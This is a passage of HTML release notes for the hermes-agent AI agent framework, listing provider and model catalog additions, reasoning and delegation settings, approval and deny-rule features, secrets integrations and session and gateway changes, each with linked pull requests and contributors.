<li>Copy-on-write message prep instead of full deepcopy; model-metadata probe-cache cluster; gateway <code>session.resume</code> model + display history from one SELECT (<a href="https://github.com/NousResearch/hermes-agent/pull/61133" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61133/hovercard">#61133</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61368" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61368/hovercard">#61368</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67247" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67247/hovercard">#67247</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><code>hermes update</code> skips npm install when Node manifests are unchanged; dashboard session-list payloads trimmed + messages paginated (<a href="https://github.com/NousResearch/hermes-agent/pull/61580" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61580/hovercard">#61580</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60883" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60883/hovercard">#60883</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Byte-stable gateway system prompts — pinned session-context render keeps the prompt cache alive across turns (<a href="https://github.com/NousResearch/hermes-agent/pull/67403" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67403/hovercard">#67403</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🏗️ Core Agent &amp; Architecture</h2>
<h3>Providers &amp; models</h3>
<ul>
<li><strong>Fireworks AI provider</strong> with cost estimation + cached picker price columns, promoted to <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3370551446" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2">#2</a> in provider pickers (<a href="https://github.com/NousResearch/hermes-agent/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62593/hovercard">#62593</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65476" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65476/hovercard">#65476</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65214" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65214/hovercard">#65214</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>DeepInfra</strong> hardened integration; <strong>Upstage Solar</strong> provider (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4614488518" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/42231" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42231/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/42231">#42231</a> salvage) (<a href="https://github.com/NousResearch/hermes-agent/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63969/hovercard">#63969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64541/hovercard">#64541</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li><strong>GPT-5.6 (Sol/Terra/Luna + Pro) end-to-end</strong> — context lengths, native/Codex catalogs, pricing, compaction caps across every route (<a href="https://github.com/NousResearch/hermes-agent/pull/61616" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61616/hovercard">#61616</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, building on <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>)</li>
<li>grok-4.5 (GA) catalog + reasoning allowlist; kimi-k3 on Nous Portal + OpenRouter (kimi-k2.x retired) + K3 discovery on the Kimi Coding endpoint; claude-fable-5 / claude-sonnet-5 / fugu-ultra curated; GA tencent/hy3 (<a href="https://github.com/NousResearch/hermes-agent/pull/60887" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60887/hovercard">#60887</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65913/hovercard">#65913</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65922" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65922/hovercard">#65922</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56617" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56617/hovercard">#56617</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60943" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60943/hovercard">#60943</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Catalog-labeled silent default (GLM-5.2) + bare-provider <code>/model</code> cost-safe routing; LM Studio JIT load mode; adaptive thinking for Kimi-family Anthropic endpoints (<a href="https://github.com/NousResearch/hermes-agent/pull/64771" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64771/hovercard">#64771</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65472/hovercard">#65472</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67606" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67606/hovercard">#67606</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>GLM-5.2 native reasoning_effort controls; Gemini request-context improvements; extra HTTP headers for LLM API calls; per-client model routing on the API server (<a href="https://github.com/NousResearch/hermes-agent/pull/58884" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58884/hovercard">#58884</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61873" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61873/hovercard">#61873</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57038" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57038/hovercard">#57038</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57028" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57028/hovercard">#57028</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Claude Sonnet 5 fully wired</strong> — curated lists, intro pricing, and metadata across every route (<a href="https://github.com/NousResearch/hermes-agent/pull/67932" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67932/hovercard">#67932</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Hide providers you don't use</strong> — <code>enabled: false</code> per-provider flag + <code>excluded_providers</code> config scrub unwanted providers from <code>/model</code> pickers and built-in resolution (<a href="https://github.com/NousResearch/hermes-agent/pull/67971" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67971/hovercard">#67971</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Bedrock catalog wave: real context-window probing from the live endpoint, 1M-context rows for current-gen Claude + Fable, geo-prefix parity, versioned profile-ID pricing, Opus 4.8/4.7 rows (<a href="https://github.com/NousResearch/hermes-agent/pull/68007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68007/hovercard">#68007</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67977" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67977/hovercard">#67977</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/68005" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68005/hovercard">#68005</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67976" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67976/hovercard">#67976</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>kimi-k3 rollout completed across Kimi-direct catalog surfaces with 1M context on canonical Kimi Coding endpoints (<a href="https://github.com/NousResearch/hermes-agent/pull/68108" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68108/hovercard">#68108</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Provider pickers: Qwen providers folded into one group row; collapsible provider groups in the desktop model picker; friendlier TUI model display grouping same-endpoint providers (<a href="https://github.com/NousResearch/hermes-agent/pull/67758" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67758/hovercard">#67758</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67904" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67904/hovercard">#67904</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67908" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67908/hovercard">#67908</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Reasoning &amp; MoA</h3>
<ul>
<li><code>max</code> + <code>ultra</code> effort levels across every surface and route (<a href="https://github.com/NousResearch/hermes-agent/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62650/hovercard">#62650</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Per-model reasoning_effort overrides via a unified resolution chokepoint; per-task auxiliary effort; per-slot MoA preset effort; session-scoped <code>/reasoning</code> in the CLI (<a href="https://github.com/NousResearch/hermes-agent/pull/64458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64458/hovercard">#64458</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64597" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64597/hovercard">#64597</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64631/hovercard">#64631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67946" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67946/hovercard">#67946</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>MoA: <code>reference_max_tokens</code> to cap advisor output and cut latency; per-preset fanout cadence (<code>user_turn</code> runs advisors once per user turn); stale presets surfaced without retries; half-filled preset saves rejected at the API boundary; aggregator resolves reasoning like an acting model (<a href="https://github.com/NousResearch/hermes-agent/pull/56756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56756/hovercard">#56756</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57591" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57591/hovercard">#57591</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64756/hovercard">#64756</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Delegation, approvals &amp; the agent loop</h3>
<ul>
<li>Live subagent transcripts + durable background completions (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/67479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67479/hovercard">#67479</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63494/hovercard">#63494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Smart approvals default; user-defined deny rules (block even under yolo); <code>/deny &lt;reason&gt;</code> relays the denial reason; plugin <code>pre_tool_call</code> approve action escalates to a human gate (re-landed with rule keys) (<a href="https://github.com/NousResearch/hermes-agent/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62661/hovercard">#62661</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59164/hovercard">#59164</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54518/hovercard">#54518</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60504/hovercard">#60504</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Unified delegation concurrency caps (<code>max_async_children</code> deprecated); explain long provider waits on the live status line; deterministic tool-output risk exposure (<a href="https://github.com/NousResearch/hermes-agent/pull/56955" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56955/hovercard">#56955</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64775" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64775/hovercard">#64775</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61793" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61793/hovercard">#61793</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Codex: live TUI/desktop tool cards for the app-server runtime, commentary streamed as visible interim messages, compaction routed through <code>thread/compact/start</code>, max-output truncation recovery, oversized message ids dropped on replay, banked usage-limit resets via <code>/usage reset</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/66514" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66514/hovercard">#66514</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66115" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66115/hovercard">#66115</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60114" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60114/hovercard">#60114</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58155" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58155/hovercard">#58155</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62225" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62225/hovercard">#62225</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64280" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64280/hovercard">#64280</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Hooks: oversized hook-injected context spills to disk (<a href="https://github.com/NousResearch/hermes-agent/pull/20468" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/20468/hovercard">#20468</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Vibe reactions — floating hearts on affection across CLI/TUI/desktop, token-free core detection (<a href="https://github.com/NousResearch/hermes-agent/pull/62016" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62016/hovercard">#62016</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Secrets &amp; config</h3>
<ul>
<li>Pluggable <code>SecretSource</code> interface + Bitwarden &amp; 1Password providers (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/59498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59498/hovercard">#59498</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>)</li>
<li><code>hermes config get</code> / <code>unset</code>; warn on unknown root config keys + doctor deprecated-key reporting; <code>display.timestamp_format</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/65540" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65540/hovercard">#65540</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67370" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67370/hovercard">#67370</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40622" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40622/hovercard">#40622</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Auxiliary model usage recorded per task in session accounting; conversation-scoped Nous Portal usage tags across aux/MoA/delegate calls; <code>--usage-file</code> JSON report for <code>hermes -z</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/65537" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65537/hovercard">#65537</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65468" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65468/hovercard">#65468</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59615" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59615/hovercard">#59615</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Sessions &amp; compression</h3>
<ul>
<li>Sessions export: Markdown/QMD/HTML/prompt-only/trace formats, HF upload, <code>--redact</code>, unified filters; full prune filter surface + bulk archive; CLI workspace filter + restore-cwd-on-resume (<a href="https://github.com/NousResearch/hermes-agent/pull/60186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60186/hovercard">#60186</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60492/hovercard">#60492</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60507/hovercard">#60507</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59327/hovercard">#59327</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63091" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63091/hovercard">#63091</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>)</li>
<li>Compression: preserve human intent and durable handoffs; retain prompt cache when memory is unchanged; flatten multimodal content for the summarizer keeping image handles; gateway compression routing integrity (<a href="https://github.com/NousResearch/hermes-agent/pull/67275" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67275/hovercard">#67275</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67916" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67916/hovercard">#67916</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65046" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65046/hovercard">#65046</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56868" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56868/hovercard">#56868</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Gateway session metadata consolidated into state.db; routing index moved to state.db (sessions.json now an optional legacy mirror); exact API bytes persisted in an <code>api_content</code> sidecar (<a href="https://github.com/NousResearch/hermes-agent/pull/58899" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58899/hovercard">#58899</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59203/hovercard">#59203</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67274" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67274/hovercard">#67274</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🌐 Gateway, Fleet &amp; Relay</h2>
<ul>
<li><strong>Durable delivery-obligation ledger</strong> for final responses (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/67181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67181/hovercard">#67181</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Profile-based routing for inbound messages</strong> + multiplex hardening wave 2 + <code>GATEWAY_MULTIPLEX_PROFILES</code> override (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/64835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64835/hovercard">#64835</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65700" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65700/hovercard">#65700</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60589" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60589/hovercard">#60589</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> + salvaged contributors)</li>
<li>Per-session turn lease + conversation-scope funnel; unified session reset boundaries (reset sessions stay reset); truthful runtime readiness checks; per-channel model and system prompt overrides; per-session <code>/model</code> overrides persist across restarts (<a href="https://github.com/NousResearch/hermes-agent/pull/67401" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67401/hovercard">#67401</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65783" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65783/hovercard">#65783</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62645" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62645/hovercard">#62645</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56967" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56967/hovercard">#56967</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57030" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57030/hovercard">#57030</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
